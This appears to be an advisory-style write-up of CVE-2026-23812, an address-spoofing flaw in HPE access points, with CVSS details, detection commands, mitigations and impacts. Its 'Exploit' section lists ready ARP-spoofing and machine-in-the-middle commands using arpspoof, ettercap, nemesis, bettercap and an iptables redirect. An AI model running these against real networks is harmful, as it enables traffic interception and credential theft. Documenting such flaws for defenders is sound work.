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CVE-2026-23812 is a medium-severity vulnerability in HPE access points where an attacker connecting as a standard wired or wireless client can impersonate the network gateway using address-based spoofing. This involves spoofing the gateway’s IP or MAC address to redirect traffic through the attacker’s machine. The access point fails to validate address claims properly, allowing the attacker to establish a Machine-in-the-Middle (MitM) position. Once in this position, the attacker can intercept or modify data streams intended for the legitimate gateway. The attack vector is adjacent network, with low complexity and no privileges required. The CVSS score is 4.3, with vector AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The vulnerability affects both wired and wireless clients connected to the access point. It was published on March 4, 2026, and last modified on March 9, 2026. The weakness stems from insufficient address validation in HPE access points. Exploitation allows redirection of traffic, leading to potential data leaks. This issue is tracked under CVE-2026-23812 by Hewlett Packard Enterprise (HPE). It is a medium-severity flaw that requires network adjacency for exploitation. The vulnerability impacts confidentiality by exposing data to unauthorized parties. No user interaction is needed for successful exploitation. The attack complexity is low, making it accessible to attackers. The scope remains unchanged, meaning the vulnerable component and impacted component are the same. This vulnerability is part of HPE’s advisories and requires patching to mitigate.
Platform: HPE Access Points
Version: Multiple versions
Vulnerability: Address spoofing
Severity: Medium
Date: 03/04/2026
Prediction: 04/04/2026
What Undercode Say:
Analytics:
- Monitor ARP traffic: `tcpdump -i eth0 arp`
– Detect ARP spoofing: `arpwatch -i eth0`
– Scan for rogue gateways: `nmap -sP 192.168.1.0/24`
– Check MAC address table: `brctl showmacs br0`
– Analyze DHCP traffic: `tcpdump -i eth0 port 67 or port 68 -v`
– Use Wireshark for packet inspection: `wireshark -i eth0 -f “arp or icmp”`
– Verify gateway IP with: `ip route show default`
– List connected clients: `iw dev wlan0 station dump`
– Check for duplicate IPs: `arp-scan –localnet`
– Enable logging: `syslog-ng` or `rsyslog` configurations
Exploit:
- Use `arpspoof` from dsniff suite: `arpspoof -i wlan0 -t target_ip gateway_ip`
– Use `ettercap` for MitM: `ettercap -T -M arp:remote /target_ip// /gateway_ip//`
– Send crafted ARP packets withnemesis: `nemesis arp -v -r -d eth0 -S spoofed_mac -D target_mac -O gateway_ip -T target_ip`
– Use `bettercap` for advanced spoofing: `bettercap -eval “set arp.spoof.targets target_ip; arp.spoof on”`
– Redirect traffic usingiptables: `iptables -t nat -A PREROUTING -i wlan0 -p tcp –dport 80 -j REDIRECT –to-port 8080`
– Capture traffic withtcpdump: `tcpdump -i wlan0 -w capture.pcap`
Protection from this CVE:
- Enable dynamic ARP inspection (DAI) on switches.
- Implement DHCP snooping to validate IP assignments.
- Use port security to limit MAC addresses per port.
- Deploy 802.1X authentication for network access.
- Configure static ARP entries for critical gateways.
- Update HPE access points to patched firmware.
- Monitor network for unusual ARP or IP traffic.
- Use encryption (e.g., WPA3) for wireless connections.
- Segment networks to limit attack surface.
- Employ intrusion detection systems (IDS) like Snort: `snort -c snort.conf -i eth0`
Impact:
- Data interception leading to privacy breaches.
- Traffic modification for malicious purposes.
- Credential theft from unencrypted sessions.
- Loss of data integrity for transmitted information.
- Potential for further network compromise.
- Disruption of legitimate network services.
- Exposure of sensitive corporate or personal data.
- Undermining trust in network infrastructure.
- Financial losses from data breaches.
- Compliance violations for data protection standards.
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Sources:
Reported By: nvd.nist.gov
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